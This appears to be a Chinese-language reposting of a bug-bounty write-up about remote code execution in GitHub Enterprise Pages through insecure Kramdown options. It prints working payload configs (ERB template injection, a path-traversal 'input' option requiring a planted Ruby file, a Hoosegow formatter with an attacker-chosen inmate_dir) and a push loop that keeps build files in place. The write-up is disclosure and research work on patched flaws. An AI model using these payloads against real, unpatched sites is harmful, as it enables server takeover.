赏金$25000的GitHub漏洞:通过 GitHub Pages 不安全的Kramdown配置实现多个RCE

阅读量    132862 | 评论 2

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

0x01 开篇

我一直在关注GitHub企业版的发布说明,主要关注补丁的bug修复。这次,我发现补丁发布对Kramdown中的一个问题进行了关键修复。

CVE-2020-14001的描述很好地总结了漏洞详情以及如何利用:

Ruby 2.3.0版本之前的kramdown gem默认执行Kramdown文档中的模板配置,允许任意的读取访问(比如template=”/etc/passwd)或任意嵌入Ruby代码执行(比如以template=”string://<%= `“开头的字符串)。注意:kramdown在Jekyll、GitLab Pages、GitHub Pages和Thredded Forum中使用。

kramdown的模板选项接受任何文件路径,如果是以string://开头,则会被用作模板内容。由于模板是ERB,这就允许执行任意ruby代码。

为了测试这个问题,我创建了一个新的Jekyll站点,并在_config.yaml中添加了以下内容:

markdown: kramdown
kramdown:
  template: string://<%= %x|date| %>

在启动并加载页面后,确实执行了自定义的ERB:

<div class="home">Tue 20 Oct 2020 21:12:08 AEDT
<h2 class="post-list-heading">Posts</h2>

 

0x02 漏洞发现

我开始寻找Jekyll和Kramdown允许的其他选项,以及它们是否有可能被利用。GitHub Pages使用1.17.0版本的Kramdown,所以我查看了该版本的Kramdown::Options模块,发现simple_hash_validator使用YAML.load,这将有可能通过反序列化来创建任意的ruby对象:

def self.simple_hash_validator(val, name)
  if String === val
    begin
      val = YAML.load(val)

随着这个思路我用syntax_highlighter_opts选项来处理,但是在尝试了几个payload之后,我发现pages_jekyll 会加载safe_yaml,防止YAML.load的反序列化。

几个小时过后,我发现了一个有趣的选项,它在执行creating a new Kramdown::Document时使用,并且还有注释:

 Create a new Kramdown document from the string +source+ and use the provided +options+. The
# options that can be used are defined in the Options module.
#
# The special options key :input can be used to select the parser that should parse the
# +source+. It has to be the name of a class in the Kramdown::Parser module. For example, to
# select the kramdown parser, one would set the :input key to +Kramdown+. If this key is not
# set, it defaults to +Kramdown+.
#
# The +source+ is immediately parsed by the selected parser so that the root element is
# immediately available and the output can be generated.
def initialize(source, options = {})
  @options = Options.merge(options).freeze
  parser = (@options[:input] || 'kramdown').to_s
  parser = parser[0..0].upcase + parser[1..-1]
  try_require('parser', parser)
  if Parser.const_defined?(parser)
    @root, @warnings = Parser.const_get(parser).parse(source, @options)
  else
    raise Kramdown::Error.new("kramdown has no parser to handle the specified input format: #{@options[:input]}")
  end
end

所以,当存在:input选项时,会将第一个字母做成大写,然后传给 try_require,类型设置为 parser

# Try requiring a parser or converter class and don't raise an error if the file is not found.
def try_require(type, name)
  require("kramdown/#{type}/#{Utils.snake_case(name)}")
  true
rescue LoadError
  true
end

由于snake_case的执行只关心字符串,忽略其他的,这意味着有可能存在目录遍历,导致require加载一个不在预定路径上的文件。

我创建了一个内容为system("echo hi > /tmp/ggg")的文件/tmp/evil.rb,然后用下面的_config.yml启动jekyll:

markdown: kramdown
kramdown:
  input: ../../../../../../../../../../../../../../../tmp/evil.rb

Jekyll 构建失败并报错jekyll 3.8.5 | Error: wrong constant name ../../../../../../../../../../../../../../../tmp/evil.rb, 但查看/tmp/ 里的内容,发现ruby代码被成功执行:

$ cat /tmp/ggg
hi

 

0x03 漏洞利用

我在GHE服务器上创建了一个页面仓库,添加了/tmp/evil.rb,同样成功得到执行。接下来要做的就是想办法把ruby文件放到一个已知的位置,并作为payload使用。我使用perf-toolsopensnoop工具,在github构建jekyll页面站点时观察路径,发现以下目录:

/data/user/tmp/pages/page-build-23481
/data/user/tmp/pages/pagebuilds/vakzz/jekyll1

第一个是输入目录,第二个是输出目录,但这两个目录都在进程结束后很快被删除,并复制到一个哈希加密的位置。由于输出目录只基于用户和仓库名,结构相对简单,只需要想办法让它比正常情况下持续的时间更久即可。

我使用dd if=/dev/zero of=file.out bs=1000000 count=100创建了五个 100mb 的文件code.rb并将它们作为payload添加到 jekyll 站点,然后通过while true; do git add -A . && git commit --amend -m aa && git push -f; done创建循环。再次观察/data/user/tmp/pages/pagebuilds/vakzz/jekyll1目录,发现它存在的时间变长了。

接着创建一个新的站点,并包含一个恶意的input,指向jeykll构建的第一个文件夹:

markdown: kramdown
kramdown:
  input: ../../../../../../../../../../../../../../../data/user/tmp/pages/pagebuilds/vakzz/jeykll1/code.rb

然后把那个仓库也设置成循环的推送和构建。大约一分钟后,文件出现了!

$ ls -asl /tmp/ | grep ggg
4 -rw-r--r--  1 pages             pages                3 Aug 19 13:58 ggg4

我写好漏洞报告,将其发送给GitHub,报告以惊人的速度进行了分流(30分钟内)。几个小时后,我收到回复,说他们正在努力强化Kramdown选项,并询问是否知道还有其他应该被限制的选项。

唯一看起来有点可疑的选项是formatter_class (作为syntax_highlighter_opts的一部分设置),但它只允许字母数字,然后用:Rouge::Formatters.const_get进行查询:

def self.formatter_class(opts = {})
  case formatter = opts[:formatter]
  when Class
    formatter
  when /\A[[:upper:]][[:alnum:]_]*\z/
    ::Rouge::Formatters.const_get(formatter)

当时我认为这是安全的,但还是把它同simple_hash_validator 一起进行了提交。

第二天晚上,我研究了一下::Rouge::Formatters.const_get的实际工作原理。结果发现,它并不像我原来想的那样,把常量限制在::Rouge::Formatters上,而是可以返回任何定义过的常量或类。虽然正则仍然有限制(不允许使用::),但仍然可以用来返回类。一旦找到了常量,它就会被用来创建一个新的实例,然后调用format方法:

formatter = formatter_class(opts).new(opts)
formatter.format(lexer.lex(text))

为了测试这一点,我用如下的_config.yml,然后建立网站:

kramdown:
  syntax_highlighter: rouge
  syntax_highlighter_opts:
    formatter: CSV

虽然报了错,但错误信息显示CVS类已经被创建了!

jekyll 3.8.5 | Error:  private method 'format' called for #<CSV:0x00007fe0d195bd48>

我在报告中添加了一个评论,表明formatter选项肯定应该被限制,我会继续研究它是否可被利用。

现在,我能够创建一个顶级的ruby对象,它的初始化器取单一的哈希值,而且我们对哈希值的内容有相当大的控制权。我花了一点时间在google和ruby中测试如何获得一个常量列表,然后得出了下面的脚本:

require "bundler"
Bundler.require

methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name =~ /\A[[:upper:]][[:alnum:]_]*\z/ }

methods.each do |m|
  begin
    puts "trying #{m[:ob]}"
    m[:ob].new({a:1, b:2})
    puts "worked\n\n"
  rescue ArgumentError
      puts "nope\n\n"
  rescue NoMethodError
      puts "nope\n\n"
  rescue => e
      p e
      puts "maybe\n\n"
  end
end

该脚本基本上能找到所有符合正则的常量,并尝试使用哈希创建一个新的实例。我登录到GHE服务器,进入页面目录并运行脚本。只有部分显示worked或者maybe,大部分显示StandardError

我盯着类的列表,看看初始化器中发生了什么,一开始没有找到有趣的东西,直到看到这个:

trying Hoosegow
#<Hoosegow::InmateImportError: inmate file doesn't exist>
maybe

这里看起来很有希望成为切入点! Hoosegow initialize method的初始化方法如下:

  def initialize(options = {})
    options         = options.dup
    @no_proxy       = options.delete(:no_proxy)
    @inmate_dir     = options.delete(:inmate_dir) || '/hoosegow/inmate'
    @image_name     = options.delete(:image_name)
    @ruby_version   = options.delete(:ruby_version) || RUBY_VERSION
    @docker_options = options
    load_inmate_methods

load_inmate_methods 方法如下:

def load_inmate_methods
    inmate_file = File.join @inmate_dir, 'inmate.rb'

    unless File.exist?(inmate_file)
      raise Hoosegow::InmateImportError, "inmate file doesn't exist"
    end

    require inmate_file

这真是太完美了! 由于可以在options哈希中添加任何东西,这将允许传递我们自己的inmate_dir目录,然后需要做的就是在那里等待一个恶意的 inmate.rb文件。

按照之前相同的过程,我编辑了_config.yml,内容如下:

kramdown:
  syntax_highlighter: rouge
  syntax_highlighter_opts:
    formatter: Hoosegow
    inmate_dir: /tmp/

然后在GHE服务器上成功创建了带有payload的/tmp/inmate.rb文件,并被推送到jekyll网站。几秒钟后,该文件被获取,payload也成功得到执行!

最终,这个被命名为CVE-2020-10518的漏洞得到了修复,我也获得了$25000的赏金。

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多